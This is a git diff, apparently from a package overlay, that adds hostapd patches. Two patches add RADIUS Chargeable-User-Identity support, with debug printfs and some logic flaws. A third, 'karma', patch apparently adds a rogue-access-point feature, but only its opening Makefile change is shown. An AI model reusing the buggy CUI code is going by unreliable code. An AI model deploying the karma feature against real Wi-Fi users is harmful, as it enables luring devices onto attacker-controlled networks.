+--- hostapd-0.7.3/src/ap/accounting.c 2010-09-07 08:43:39.000000000 -0700
++++ src/ap/accounting.c 2011-09-06 21:01:36.000000000 -0700
+@@ -24,6 +24,7 @@
+ #include "ap_config.h"
+ #include "sta_info.h"
+ #include "accounting.h"
++/*#include "eapol_auth/eapol_auth_sm_i.h"*/
+
+
+ /* Default interval in seconds for polling TX/RX octets from the driver if
+@@ -43,7 +44,10 @@ static struct radius_msg * accounting_ms
+ char buf[128];
+ u8 *val;
+ size_t len;
++ u8 *cui; /*Define CUI Attribute*/
++ size_t cui_len; /*Define CUI Attribute length*/
+ int i;
++ struct eapol_state_machine *sm = sta->eapol_sm;
+
+ msg = radius_msg_new(RADIUS_CODE_ACCOUNTING_REQUEST,
+ radius_client_get_id(hapd->radius));
+@@ -82,7 +86,9 @@ static struct radius_msg * accounting_ms
+
+ if (sta) {
+ val = ieee802_1x_get_identity(sta->eapol_sm, &len);
++ printf("GOT ID\n");
+ if (!val) {
++
+ os_snprintf(buf, sizeof(buf), RADIUS_ADDR_FORMAT,
+ MAC2STR(sta->addr));
+ val = (u8 *) buf;
+@@ -94,6 +100,30 @@ static struct radius_msg * accounting_ms
+ printf("Could not add User-Name\n");
+ goto fail;
+ }
++
++
++ /*Check if the CUI attribute is set, if so returns the TRUE or FALSE accordingly**************/
++ if (getSetCui(sta->eapol_sm)){
++ cui=get_CUI (sta->eapol_sm, &cui_len);
++ printf("GOT CUI\n");
++
++ if (!cui) {
++
++ os_snprintf(buf, sizeof(buf), RADIUS_ADDR_FORMAT,
++ MAC2STR(sta->addr));
++ cui = (u8 *) buf;
++ cui_len = os_strlen(buf);
++ }
++ if (!radius_msg_add_attr(msg, RADIUS_ATTR_CHARGEABLE_USER_IDENTITY, cui,
++ cui_len)) { /*Add CUI attribute to the Accounting Request Message*/
++ printf("Could not add CUI\n");
++ goto fail;
++ }
++ /********************/
++ }
++ /*else { */
++ /* printf ("PROBLEM IN IF\n");*/
++ /*}*/
+ }
+
+ if (hapd->conf->own_ip_addr.af == AF_INET &&
+diff -rupN hostapd-0.7.3/src/ap/accounting.h src/ap/accounting.h
+--- hostapd-0.7.3/src/ap/accounting.h 2010-09-07 08:43:39.000000000 -0700
++++ src/ap/accounting.h 2011-07-25 19:26:06.000000000 -0700
+@@ -22,6 +22,7 @@ static inline void accounting_sta_start(
+ {
+ }
+
++
+ static inline void accounting_sta_stop(struct hostapd_data *hapd,
+ struct sta_info *sta)
+ {
+diff -rupN hostapd-0.7.3/src/ap/ieee802_1x.c src/ap/ieee802_1x.c
+--- hostapd-0.7.3/src/ap/ieee802_1x.c 2010-09-07 08:43:39.000000000 -0700
++++ src/ap/ieee802_1x.c 2011-09-06 20:59:54.000000000 -0700
+@@ -899,6 +899,7 @@ void ieee802_1x_new_station(struct hosta
+ * re-authentication without having to wait for the
+ * Supplicant to send EAPOL-Start.
+ */
++ printf("REAUTHENTICATION-EAPOL");
+ sta->eapol_sm->reAuthenticate = TRUE;
+ }
+ eapol_auth_step(sta->eapol_sm);
+@@ -1138,6 +1139,68 @@ static void ieee802_1x_update_sta_identi
+ sm->identity_len = len;
+ }
+
++/* This method is used to Set the CUI attribute Value**************************************/
++static void set_cui(struct hostapd_data *hapd,
++ struct sta_info *sta,
++ struct radius_msg *msg)
++
++{
++ u8 *buf,*cui_identity;
++ size_t len;
++ struct eapol_state_machine *sm = sta->eapol_sm;
++
++ if (sm == NULL)
++ return;
++
++ if (radius_msg_get_attr_ptr(msg, RADIUS_ATTR_CHARGEABLE_USER_IDENTITY, &buf, &len,
++ NULL) < 0)
++ return;
++ cui_identity = os_malloc(len + 1);
++ if (cui_identity == NULL)
++ return;
++ os_memcpy(cui_identity, buf, len);
++ cui_identity[len] = '\0';
++
++ sm->cui = cui_identity;
++ sm->cui_len = len;
++ printf(" SET CUI %s",(char *) cui_identity);
++
++
++}
++
++
++/* **************************************/
++
++/*check CUI attribute is available in Access Accept */
++static void check_cuiAttr (struct radius_msg *msg,struct sta_info *sta, struct hostapd_data *hapd)
++{
++
++ struct eapol_state_machine *sm = sta->eapol_sm; /*Define a pointer to eapol_state_machine*/
++
++
++ size_t i;
++
++ for (i = 0;i<msg->attr_used;i++)
++ { struct radius_attr_hdr *attr = radius_get_attr_hdr(msg, i);
++ if (attr->type == RADIUS_ATTR_CHARGEABLE_USER_IDENTITY) /*check CUI attribute is availabe in Access-Accept packet*/
++ {
++ printf("CUI Attribute is Available");
++ sm->cuiAvailable = TRUE;
++ set_cui(hapd, sta, msg);
++ break;
++
++ }
++ else {
++ sm->cuiAvailable = FALSE;
++ printf ("CUI is not available in this packet");
++
++ }
++
++
++ }
++
++}
++
+
+ struct sta_id_search {
+ u8 identifier;
+@@ -1298,6 +1361,8 @@ ieee802_1x_receive_auth(struct radius_ms
+ shared_secret_len);
+ ieee802_1x_store_radius_class(hapd, sta, msg);
+ ieee802_1x_update_sta_identity(hapd, sta, msg);
++ /*set_cui(hapd, sta, msg);*/
++ check_cuiAttr (msg,sta,hapd);
+ if (sm->eap_if->eapKeyAvailable &&
+ wpa_auth_pmksa_add(sta->wpa_sm, sm->eapol_key_crypt,
+ session_timeout_set ?
+@@ -1777,6 +1842,27 @@ u8 * ieee802_1x_get_identity(struct eapo
+ }
+
+
++
++u8 * get_CUI(struct eapol_state_machine *sm, size_t *len) /* return CUI Attribute Value ******************************/
++{
++ if (sm == NULL || sm->identity == NULL)
++ return NULL;
++
++ *len = sm->cui_len;
++ return sm->cui;
++}
++
++Boolean getSetCui (struct eapol_state_machine *sm) /*Check if the CUI value is set or not, and returns TRUE or FALSE accordingly*/
++
++{ if (sm->cuiAvailable)
++ return TRUE;
++else
++ return FALSE;
++ }
++
++/*****************************/
++
++
+ u8 * ieee802_1x_get_radius_class(struct eapol_state_machine *sm, size_t *len,
+ int idx)
+ {
+diff -rupN hostapd-0.7.3/src/ap/ieee802_1x.h src/ap/ieee802_1x.h
+--- hostapd-0.7.3/src/ap/ieee802_1x.h 2010-09-07 08:43:39.000000000 -0700
++++ src/ap/ieee802_1x.h 2011-07-25 19:43:10.000000000 -0700
+@@ -69,6 +69,13 @@ void ieee802_1x_deinit(struct hostapd_da
+ int ieee802_1x_tx_status(struct hostapd_data *hapd, struct sta_info *sta,
+ const u8 *buf, size_t len, int ack);
+ u8 * ieee802_1x_get_identity(struct eapol_state_machine *sm, size_t *len);
++
++/** definig CUI get function */
++u8 * get_CUI(struct eapol_state_machine *sm, size_t *len);
++Boolean getSetCui (struct eapol_state_machine *sm);
++
++/*********************/
++
+ u8 * ieee802_1x_get_radius_class(struct eapol_state_machine *sm, size_t *len,
+ int idx);
+ const u8 * ieee802_1x_get_key(struct eapol_state_machine *sm, size_t *len);
+diff -rupN hostapd-0.7.3/src/ap/pmksa_cache_auth.c src/ap/pmksa_cache_auth.c
+--- hostapd-0.7.3/src/ap/pmksa_cache_auth.c 2010-09-07 08:43:39.000000000 -0700
++++ src/ap/pmksa_cache_auth.c 2011-09-06 22:42:00.000000000 -0700
+@@ -142,6 +142,20 @@ static void pmksa_cache_from_eapol_data(
+ }
+ }
+
++/*set to cui in to cache*/
++
++ if (eapol ->cui) {
++
++ entry ->cui = os_malloc(eapol->cui_len); /*Allocate memory for CUI attribute*/
++ if (entry->cui) {
++ entry->cui_len = eapol->cui_len;
++ os_memcpy(entry->cui, eapol->cui,
++ eapol->cui_len);
++ }
++ }
++
++/*set to cui in to cache*/
++
+ #ifndef CONFIG_NO_RADIUS
+ radius_copy_class(&entry->radius_class, &eapol->radius_class);
+ #endif /* CONFIG_NO_RADIUS */
+@@ -169,6 +183,25 @@ void pmksa_cache_to_eapol_data(struct rs
+ eapol->identity, eapol->identity_len);
+ }
+
++/*Added to get CUI from the cache*/
++
++
++ if (entry->cui) {
++ os_free(eapol->cui);
++
++ eapol->cui = os_malloc(entry->cui_len);
++ eapol->cuiAvailable=TRUE;
++ if (eapol->cui) {
++ eapol->cui_len = entry->cui_len;
++ os_memcpy(eapol->cui, entry->cui,
++ entry->cui_len); /*copy the CUI attribute value to EAPOL data structure*/
++ }
++ wpa_hexdump_ascii(MSG_DEBUG, "CUIfrom PMKSA",
++ eapol->cui, eapol->cui_len);
++ }
++
++ /*Added to get CUI from the cache*/
++
+ #ifndef CONFIG_NO_RADIUS
+ radius_free_class(&eapol->radius_class);
+ radius_copy_class(&eapol->radius_class, &entry->radius_class);
+@@ -180,6 +213,7 @@ void pmksa_cache_to_eapol_data(struct rs
+
+ eapol->eap_type_authsrv = entry->eap_type_authsrv;
+ ((struct sta_info *) eapol->sta)->vlan_id = entry->vlan_id;
++ printf ("GETTING CACHE ENTRY\n");
+ }
+
+
+diff -rupN hostapd-0.7.3/src/ap/pmksa_cache_auth.h src/ap/pmksa_cache_auth.h
+--- hostapd-0.7.3/src/ap/pmksa_cache_auth.h 2010-09-07 08:43:39.000000000 -0700
++++ src/ap/pmksa_cache_auth.h 2011-08-07 19:19:44.000000000 -0700
+@@ -31,6 +31,8 @@ struct rsn_pmksa_cache_entry {
+
+ u8 *identity;
+ size_t identity_len;
++ u8 *cui; /* cui by me*/
++ size_t cui_len; /*Size of the cached cui by me*/
+ struct radius_class_data radius_class;
+ u8 eap_type_authsrv;
+ int vlan_id;
+diff -rupN hostapd-0.7.3/src/common/ieee802_11_common.c src/common/ieee802_11_common.c
+--- hostapd-0.7.3/src/common/ieee802_11_common.c 2010-09-07 08:43:39.000000000 -0700
++++ src/common/ieee802_11_common.c 2011-07-25 17:56:38.000000000 -0700
+@@ -31,8 +31,8 @@ static int ieee802_11_parse_vendor_speci
+ if (elen < 4) {
+ if (show_errors) {
+ wpa_printf(MSG_MSGDUMP, "short vendor specific "
+- "information element ignored (len=%lu)",
+- (unsigned long) elen);
++ "information element ignored (len=%lu)",
++ (unsigned long) elen);
+ }
+ return -1;
+ }
+diff -rupN hostapd-0.7.3/src/eapol_auth/eapol_auth_sm_i.h src/eapol_auth/eapol_auth_sm_i.h
+--- hostapd-0.7.3/src/eapol_auth/eapol_auth_sm_i.h 2010-09-07 08:43:39.000000000 -0700
++++ src/eapol_auth/eapol_auth_sm_i.h 2011-09-06 20:43:46.000000000 -0700
+@@ -75,6 +75,7 @@ struct eapol_state_machine {
+ /* variables */
+ Boolean eapolLogoff;
+ Boolean eapolStart;
++ Boolean cuiAvailable; /*to check CUI is available in AcessAccept*/
+ PortTypes portMode;
+ unsigned int reAuthCount;
+ /* constants */
+@@ -159,6 +160,8 @@ struct eapol_state_machine {
+ u8 last_eap_id; /* last used EAP Identifier */
+ u8 *identity;
+ size_t identity_len;
++ u8 *cui; /*Define CUI Attribute*/
++ size_t cui_len; /*Define CUI attribute length*/
+ u8 eap_type_authsrv; /* EAP type of the last EAP packet from
+ * Authentication server */
+ u8 eap_type_supp; /* EAP type of the last EAP packet from Supplicant */
+diff -rupN hostapd-0.7.3/src/radius/radius.c src/radius/radius.c
+--- hostapd-0.7.3/src/radius/radius.c 2010-09-07 08:43:39.000000000 -0700
++++ src/radius/radius.c 2011-07-25 18:41:30.000000000 -0700
+@@ -24,16 +24,16 @@
+ /**
+ * struct radius_msg - RADIUS message structure for new and parsed messages
+ */
+-struct radius_msg {
++//struct radius_msg {
+ /**
+ * buf - Allocated buffer for RADIUS message
+ */
+- struct wpabuf *buf;
++ //struct wpabuf *buf;
+
+ /**
+ * hdr - Pointer to the RADIUS header in buf
+ */
+- struct radius_hdr *hdr;
++ //struct radius_hdr *hdr;
+
+ /**
+ * attr_pos - Array of indexes to attributes
+@@ -41,18 +41,18 @@ struct radius_msg {
+ * The values are number of bytes from buf to the beginning of
+ * struct radius_attr_hdr.
+ */
+- size_t *attr_pos;
++ //size_t *attr_pos;
+
+ /**
+ * attr_size - Total size of the attribute pointer array
+ */
+- size_t attr_size;
++ //size_t attr_size;
+
+ /**
+ * attr_used - Total number of attributes in the array
+ */
+- size_t attr_used;
+-};
++ //size_t attr_used;
++//};
+
+
+ struct radius_hdr * radius_msg_get_hdr(struct radius_msg *msg)
+@@ -66,7 +66,7 @@ struct wpabuf * radius_msg_get_buf(struc
+ return msg->buf;
+ }
+
+-
++/*
+ static struct radius_attr_hdr *
+ radius_get_attr_hdr(struct radius_msg *msg, int idx)
+ {
+@@ -74,7 +74,7 @@ radius_get_attr_hdr(struct radius_msg *m
+ (wpabuf_mhead_u8(msg->buf) + msg->attr_pos[idx]);
+ }
+
+-
++*/
+ static void radius_msg_set_hdr(struct radius_msg *msg, u8 code, u8 identifier)
+ {
+ msg->hdr->code = code;
+diff -rupN hostapd-0.7.3/src/radius/radius.h src/radius/radius.h
+--- hostapd-0.7.3/src/radius/radius.h 2010-09-07 08:43:39.000000000 -0700
++++ src/radius/radius.h 2011-07-25 18:44:42.000000000 -0700
+@@ -21,6 +21,45 @@
+ #pragma pack(push, 1)
+ #endif /* _MSC_VER */
+
++/************************/
++struct radius_msg {
++ /**
++ * buf - Allocated buffer for RADIUS message
++ */
++ struct wpabuf *buf;
++
++ /**
++ * hdr - Pointer to the RADIUS header in buf
++ */
++ struct radius_hdr *hdr;
++
++ /**
++ * attr_pos - Array of indexes to attributes
++ *
++ * The values are number of bytes from buf to the beginning of
++ * struct radius_attr_hdr.
++ */
++ size_t *attr_pos;
++
++ /**
++ * attr_size - Total size of the attribute pointer array
++ */
++ size_t attr_size;
++
++ /**
++ * attr_used - Total number of attributes in the array
++ */
++ size_t attr_used;
++};
++
++
++
++
++/***********************/
++
++
++
++
+ struct radius_hdr {
+ u8 code;
+ u8 identifier;
+@@ -201,6 +240,10 @@ void radius_msg_finish_acct(struct radiu
+ size_t secret_len);
+ struct radius_attr_hdr * radius_msg_add_attr(struct radius_msg *msg, u8 type,
+ const u8 *data, size_t data_len);
++
++/****************************/
++
++/*****************************/
+ struct radius_msg * radius_msg_parse(const u8 *data, size_t len);
+ int radius_msg_add_eap(struct radius_msg *msg, const u8 *data,
+ size_t data_len);
+@@ -238,7 +281,13 @@ static inline int radius_msg_add_attr_in
+ u32 val = htonl(value);
+ return radius_msg_add_attr(msg, type, (u8 *) &val, 4) != NULL;
+ }
+-
++/**********************/
++static struct radius_attr_hdr * radius_get_attr_hdr(struct radius_msg *msg, int idx)
++{
++ return (struct radius_attr_hdr *)
++ (wpabuf_mhead_u8(msg->buf) + msg->attr_pos[idx]);
++}
++/**************************/
+ static inline int radius_msg_get_attr_int32(struct radius_msg *msg, u8 type,
+ u32 *value)
+ {
diff --git a/net-wireless/hostapd/files/cui-20120717.patch b/net-wireless/hostapd/files/cui-20120717.patch
new file mode 100644
index 00000000..e6e5e8dc
--- /dev/null
+++ b/net-wireless/hostapd/files/cui-20120717.patch
@@ -0,0 +1,451 @@
+diff -urN hostapd-1.0.orig//src/ap/accounting.c hostapd-1.0/src/ap/accounting.c
+--- hostapd-1.0.orig//src/ap/accounting.c 2012-05-10 05:56:09.000000000 +0800
++++ hostapd-1.0/src/ap/accounting.c 2012-07-17 18:40:21.000000000 +0800
+@@ -25,6 +25,7 @@
+ #include "sta_info.h"
+ #include "ap_drv_ops.h"
+ #include "accounting.h"
++/*#include "eapol_auth/eapol_auth_sm_i.h"*/
+
+
+ /* Default interval in seconds for polling TX/RX octets from the driver if
+@@ -44,7 +45,10 @@
+ char buf[128];
+ u8 *val;
+ size_t len;
++ u8 *cui; /*Define CUI Attribute*/
++ size_t cui_len; /*Define CUI Attribute length*/
+ int i;
++ struct eapol_state_machine *sm = sta->eapol_sm;
+
+ msg = radius_msg_new(RADIUS_CODE_ACCOUNTING_REQUEST,
+ radius_client_get_id(hapd->radius));
+@@ -83,7 +87,9 @@
+
+ if (sta) {
+ val = ieee802_1x_get_identity(sta->eapol_sm, &len);
++ printf("GOT ID\n");
+ if (!val) {
++
+ os_snprintf(buf, sizeof(buf), RADIUS_ADDR_FORMAT,
+ MAC2STR(sta->addr));
+ val = (u8 *) buf;
+@@ -95,6 +101,30 @@
+ printf("Could not add User-Name\n");
+ goto fail;
+ }
++
++
++ /*Check if the CUI attribute is set, if so returns the TRUE or FALSE accordingly**************/
++ if (getSetCui(sta->eapol_sm)){
++ cui=get_CUI (sta->eapol_sm, &cui_len);
++ printf("GOT CUI\n");
++
++ if (!cui) {
++
++ os_snprintf(buf, sizeof(buf), RADIUS_ADDR_FORMAT,
++ MAC2STR(sta->addr));
++ cui = (u8 *) buf;
++ cui_len = os_strlen(buf);
++ }
++ if (!radius_msg_add_attr(msg, RADIUS_ATTR_CHARGEABLE_USER_IDENTITY, cui,
++ cui_len)) { /*Add CUI attribute to the Accounting Request Message*/
++ printf("Could not add CUI\n");
++ goto fail;
++ }
++ /********************/
++ }
++ /*else { */
++ /* printf ("PROBLEM IN IF\n");*/
++ /*}*/
+ }
+
+ if (hapd->conf->own_ip_addr.af == AF_INET &&
+diff -urN hostapd-1.0.orig//src/ap/accounting.h hostapd-1.0/src/ap/accounting.h
+--- hostapd-1.0.orig//src/ap/accounting.h 2012-05-10 05:56:09.000000000 +0800
++++ hostapd-1.0/src/ap/accounting.h 2012-07-17 18:40:21.000000000 +0800
+@@ -22,6 +22,7 @@
+ {
+ }
+
++
+ static inline void accounting_sta_stop(struct hostapd_data *hapd,
+ struct sta_info *sta)
+ {
+diff -urN hostapd-1.0.orig//src/ap/ieee802_1x.c hostapd-1.0/src/ap/ieee802_1x.c
+--- hostapd-1.0.orig//src/ap/ieee802_1x.c 2012-05-10 05:56:09.000000000 +0800
++++ hostapd-1.0/src/ap/ieee802_1x.c 2012-07-17 18:40:21.000000000 +0800
+@@ -966,6 +966,7 @@
+ * re-authentication without having to wait for the
+ * Supplicant to send EAPOL-Start.
+ */
++ printf("REAUTHENTICATION-EAPOL");
+ sta->eapol_sm->reAuthenticate = TRUE;
+ }
+ eapol_auth_step(sta->eapol_sm);
+@@ -1205,6 +1206,68 @@
+ sm->identity_len = len;
+ }
+
++/* This method is used to Set the CUI attribute Value**************************************/
++static void set_cui(struct hostapd_data *hapd,
++ struct sta_info *sta,
++ struct radius_msg *msg)
++
++{
++ u8 *buf,*cui_identity;
++ size_t len;
++ struct eapol_state_machine *sm = sta->eapol_sm;
++
++ if (sm == NULL)
++ return;
++
++ if (radius_msg_get_attr_ptr(msg, RADIUS_ATTR_CHARGEABLE_USER_IDENTITY, &buf, &len,
++ NULL) < 0)
++ return;
++ cui_identity = os_malloc(len + 1);
++ if (cui_identity == NULL)
++ return;
++ os_memcpy(cui_identity, buf, len);
++ cui_identity[len] = '\0';
++
++ sm->cui = cui_identity;
++ sm->cui_len = len;
++ printf(" SET CUI %s",(char *) cui_identity);
++
++
++}
++
++
++/* **************************************/
++
++/*check CUI attribute is available in Access Accept */
++static void check_cuiAttr (struct radius_msg *msg,struct sta_info *sta, struct hostapd_data *hapd)
++{
++
++ struct eapol_state_machine *sm = sta->eapol_sm; /*Define a pointer to eapol_state_machine*/
++
++
++ size_t i;
++
++ for (i = 0;i<msg->attr_used;i++)
++ { struct radius_attr_hdr *attr = radius_get_attr_hdr(msg, i);
++ if (attr->type == RADIUS_ATTR_CHARGEABLE_USER_IDENTITY) /*check CUI attribute is availabe in Access-Accept packet*/
++ {
++ printf("CUI Attribute is Available");
++ sm->cuiAvailable = TRUE;
++ set_cui(hapd, sta, msg);
++ break;
++
++ }
++ else {
++ sm->cuiAvailable = FALSE;
++ printf ("CUI is not available in this packet");
++
++ }
++
++
++ }
++
++}
++
+
+ struct sta_id_search {
+ u8 identifier;
+@@ -1365,6 +1428,8 @@
+ shared_secret_len);
+ ieee802_1x_store_radius_class(hapd, sta, msg);
+ ieee802_1x_update_sta_identity(hapd, sta, msg);
++ /*set_cui(hapd, sta, msg);*/
++ check_cuiAttr (msg,sta,hapd);
+ if (sm->eap_if->eapKeyAvailable &&
+ wpa_auth_pmksa_add(sta->wpa_sm, sm->eapol_key_crypt,
+ session_timeout_set ?
+@@ -1859,6 +1924,27 @@
+ }
+
+
++
++u8 * get_CUI(struct eapol_state_machine *sm, size_t *len) /* return CUI Attribute Value ******************************/
++{
++ if (sm == NULL || sm->identity == NULL)
++ return NULL;
++
++ *len = sm->cui_len;
++ return sm->cui;
++}
++
++Boolean getSetCui (struct eapol_state_machine *sm) /*Check if the CUI value is set or not, and returns TRUE or FALSE accordingly*/
++
++{ if (sm->cuiAvailable)
++ return TRUE;
++else
++ return FALSE;
++ }
++
++/*****************************/
++
++
+ u8 * ieee802_1x_get_radius_class(struct eapol_state_machine *sm, size_t *len,
+ int idx)
+ {
+diff -urN hostapd-1.0.orig//src/ap/ieee802_1x.h hostapd-1.0/src/ap/ieee802_1x.h
+--- hostapd-1.0.orig//src/ap/ieee802_1x.h 2012-05-10 05:56:09.000000000 +0800
++++ hostapd-1.0/src/ap/ieee802_1x.h 2012-07-17 18:40:21.000000000 +0800
+@@ -69,6 +69,13 @@
+ int ieee802_1x_tx_status(struct hostapd_data *hapd, struct sta_info *sta,
+ const u8 *buf, size_t len, int ack);
+ u8 * ieee802_1x_get_identity(struct eapol_state_machine *sm, size_t *len);
++
++/** definig CUI get function */
++u8 * get_CUI(struct eapol_state_machine *sm, size_t *len);
++Boolean getSetCui (struct eapol_state_machine *sm);
++
++/*********************/
++
+ u8 * ieee802_1x_get_radius_class(struct eapol_state_machine *sm, size_t *len,
+ int idx);
+ const u8 * ieee802_1x_get_key(struct eapol_state_machine *sm, size_t *len);
+diff -urN hostapd-1.0.orig//src/ap/pmksa_cache_auth.c hostapd-1.0/src/ap/pmksa_cache_auth.c
+--- hostapd-1.0.orig//src/ap/pmksa_cache_auth.c 2012-05-10 05:56:09.000000000 +0800
++++ hostapd-1.0/src/ap/pmksa_cache_auth.c 2012-07-17 18:40:21.000000000 +0800
+@@ -142,6 +142,20 @@
+ }
+ }
+
++/*set to cui in to cache*/
++
++ if (eapol ->cui) {
++
++ entry ->cui = os_malloc(eapol->cui_len); /*Allocate memory for CUI attribute*/
++ if (entry->cui) {
++ entry->cui_len = eapol->cui_len;
++ os_memcpy(entry->cui, eapol->cui,
++ eapol->cui_len);
++ }
++ }
++
++/*set to cui in to cache*/
++
+ #ifndef CONFIG_NO_RADIUS
+ radius_copy_class(&entry->radius_class, &eapol->radius_class);
+ #endif /* CONFIG_NO_RADIUS */
+@@ -169,6 +183,25 @@
+ eapol->identity, eapol->identity_len);
+ }
+
++/*Added to get CUI from the cache*/
++
++
++ if (entry->cui) {
++ os_free(eapol->cui);
++
++ eapol->cui = os_malloc(entry->cui_len);
++ eapol->cuiAvailable=TRUE;
++ if (eapol->cui) {
++ eapol->cui_len = entry->cui_len;
++ os_memcpy(eapol->cui, entry->cui,
++ entry->cui_len); /*copy the CUI attribute value to EAPOL data structure*/
++ }
++ wpa_hexdump_ascii(MSG_DEBUG, "CUIfrom PMKSA",
++ eapol->cui, eapol->cui_len);
++ }
++
++ /*Added to get CUI from the cache*/
++
+ #ifndef CONFIG_NO_RADIUS
+ radius_free_class(&eapol->radius_class);
+ radius_copy_class(&eapol->radius_class, &entry->radius_class);
+@@ -180,6 +213,7 @@
+
+ eapol->eap_type_authsrv = entry->eap_type_authsrv;
+ ((struct sta_info *) eapol->sta)->vlan_id = entry->vlan_id;
++ printf ("GETTING CACHE ENTRY\n");
+ }
+
+
+diff -urN hostapd-1.0.orig//src/ap/pmksa_cache_auth.h hostapd-1.0/src/ap/pmksa_cache_auth.h
+--- hostapd-1.0.orig//src/ap/pmksa_cache_auth.h 2012-05-10 05:56:09.000000000 +0800
++++ hostapd-1.0/src/ap/pmksa_cache_auth.h 2012-07-17 18:40:21.000000000 +0800
+@@ -31,6 +31,8 @@
+
+ u8 *identity;
+ size_t identity_len;
++ u8 *cui; /* cui by me*/
++ size_t cui_len; /*Size of the cached cui by me*/
+ struct radius_class_data radius_class;
+ u8 eap_type_authsrv;
+ int vlan_id;
+diff -urN hostapd-1.0.orig//src/common/ieee802_11_common.c hostapd-1.0/src/common/ieee802_11_common.c
+--- hostapd-1.0.orig//src/common/ieee802_11_common.c 2012-05-10 05:56:09.000000000 +0800
++++ hostapd-1.0/src/common/ieee802_11_common.c 2012-07-17 18:40:21.000000000 +0800
+@@ -31,8 +31,8 @@
+ if (elen < 4) {
+ if (show_errors) {
+ wpa_printf(MSG_MSGDUMP, "short vendor specific "
+- "information element ignored (len=%lu)",
+- (unsigned long) elen);
++ "information element ignored (len=%lu)",
++ (unsigned long) elen);
+ }
+ return -1;
+ }
+diff -urN hostapd-1.0.orig//src/eapol_auth/eapol_auth_sm_i.h hostapd-1.0/src/eapol_auth/eapol_auth_sm_i.h
+--- hostapd-1.0.orig//src/eapol_auth/eapol_auth_sm_i.h 2012-05-10 05:56:09.000000000 +0800
++++ hostapd-1.0/src/eapol_auth/eapol_auth_sm_i.h 2012-07-17 18:40:21.000000000 +0800
+@@ -75,6 +75,7 @@
+ /* variables */
+ Boolean eapolLogoff;
+ Boolean eapolStart;
++ Boolean cuiAvailable; /*to check CUI is available in AcessAccept*/
+ PortTypes portMode;
+ unsigned int reAuthCount;
+ /* constants */
+@@ -159,6 +160,8 @@
+ u8 last_eap_id; /* last used EAP Identifier */
+ u8 *identity;
+ size_t identity_len;
++ u8 *cui; /*Define CUI Attribute*/
++ size_t cui_len; /*Define CUI attribute length*/
+ u8 eap_type_authsrv; /* EAP type of the last EAP packet from
+ * Authentication server */
+ u8 eap_type_supp; /* EAP type of the last EAP packet from Supplicant */
+diff -urN hostapd-1.0.orig//src/radius/radius.c hostapd-1.0/src/radius/radius.c
+--- hostapd-1.0.orig//src/radius/radius.c 2012-05-10 05:56:09.000000000 +0800
++++ hostapd-1.0/src/radius/radius.c 2012-07-17 18:40:21.000000000 +0800
+@@ -24,16 +24,16 @@
+ /**
+ * struct radius_msg - RADIUS message structure for new and parsed messages
+ */
+-struct radius_msg {
++//struct radius_msg {
+ /**
+ * buf - Allocated buffer for RADIUS message
+ */
+- struct wpabuf *buf;
++ //struct wpabuf *buf;
+
+ /**
+ * hdr - Pointer to the RADIUS header in buf
+ */
+- struct radius_hdr *hdr;
++ //struct radius_hdr *hdr;
+
+ /**
+ * attr_pos - Array of indexes to attributes
+@@ -41,18 +41,18 @@
+ * The values are number of bytes from buf to the beginning of
+ * struct radius_attr_hdr.
+ */
+- size_t *attr_pos;
++ //size_t *attr_pos;
+
+ /**
+ * attr_size - Total size of the attribute pointer array
+ */
+- size_t attr_size;
++ //size_t attr_size;
+
+ /**
+ * attr_used - Total number of attributes in the array
+ */
+- size_t attr_used;
+-};
++ //size_t attr_used;
++//};
+
+
+ struct radius_hdr * radius_msg_get_hdr(struct radius_msg *msg)
+@@ -66,7 +66,7 @@
+ return msg->buf;
+ }
+
+-
++/*
+ static struct radius_attr_hdr *
+ radius_get_attr_hdr(struct radius_msg *msg, int idx)
+ {
+@@ -74,7 +74,7 @@
+ (wpabuf_mhead_u8(msg->buf) + msg->attr_pos[idx]);
+ }
+
+-
++*/
+ static void radius_msg_set_hdr(struct radius_msg *msg, u8 code, u8 identifier)
+ {
+ msg->hdr->code = code;
+diff -urN hostapd-1.0.orig//src/radius/radius.h hostapd-1.0/src/radius/radius.h
+--- hostapd-1.0.orig//src/radius/radius.h 2012-05-10 05:56:09.000000000 +0800
++++ hostapd-1.0/src/radius/radius.h 2012-07-17 18:40:21.000000000 +0800
+@@ -21,6 +21,45 @@
+ #pragma pack(push, 1)
+ #endif /* _MSC_VER */
+
++/************************/
++struct radius_msg {
++ /**
++ * buf - Allocated buffer for RADIUS message
++ */
++ struct wpabuf *buf;
++
++ /**
++ * hdr - Pointer to the RADIUS header in buf
++ */
++ struct radius_hdr *hdr;
++
++ /**
++ * attr_pos - Array of indexes to attributes
++ *
++ * The values are number of bytes from buf to the beginning of
++ * struct radius_attr_hdr.
++ */
++ size_t *attr_pos;
++
++ /**
++ * attr_size - Total size of the attribute pointer array
++ */
++ size_t attr_size;
++
++ /**
++ * attr_used - Total number of attributes in the array
++ */
++ size_t attr_used;
++};
++
++
++
++
++/***********************/
++
++
++
++
+ struct radius_hdr {
+ u8 code;
+ u8 identifier;
+@@ -201,6 +240,10 @@
+ size_t secret_len);
+ struct radius_attr_hdr * radius_msg_add_attr(struct radius_msg *msg, u8 type,
+ const u8 *data, size_t data_len);
++
++/****************************/
++
++/*****************************/
+ struct radius_msg * radius_msg_parse(const u8 *data, size_t len);
+ int radius_msg_add_eap(struct radius_msg *msg, const u8 *data,
+ size_t data_len);
+@@ -238,7 +281,13 @@
+ u32 val = htonl(value);
+ return radius_msg_add_attr(msg, type, (u8 *) &val, 4) != NULL;
+ }
+-
++/**********************/
++static struct radius_attr_hdr * radius_get_attr_hdr(struct radius_msg *msg, int idx)
++{
++ return (struct radius_attr_hdr *)
++ (wpabuf_mhead_u8(msg->buf) + msg->attr_pos[idx]);
++}
++/**************************/
+ static inline int radius_msg_get_attr_int32(struct radius_msg *msg, u8 type,
+ u32 *value)
+ {
diff --git a/net-wireless/hostapd/files/hostapd-0.7.3-karma.patch b/net-wireless/hostapd/files/hostapd-0.7.3-karma.patch
new file mode 100644
index 00000000..e1cc89e3
--- /dev/null
+++ b/net-wireless/hostapd/files/hostapd-0.7.3-karma.patch
@@ -0,0 +1,481 @@
+diff -urN hostapd-0.7.3.orig/hostapd/Makefile hostapd-0.7.3/hostapd/Makefile
+--- hostapd-0.7.3.orig/hostapd/Makefile 2010-09-07 23:43:39.000000000 +0800
++++ hostapd-0.7.3/hostapd/Makefile 2011-05-02 15:59:46.787000009 +0800
+@@ -3,7 +3,7 @@
+ endif
+
+ ifndef CFLAGS
+-CFLAGS = -MMD -O2 -Wall -g
++CFLAGS = -MMD -O2 -Wall -DDEBUG -g -pg
+ endif
+
+ CFLAGS += -I../src
+@@ -84,6 +84,7 @@
+
+ OBJS += ../src/eapol_auth/eapol_auth_sm.o
+
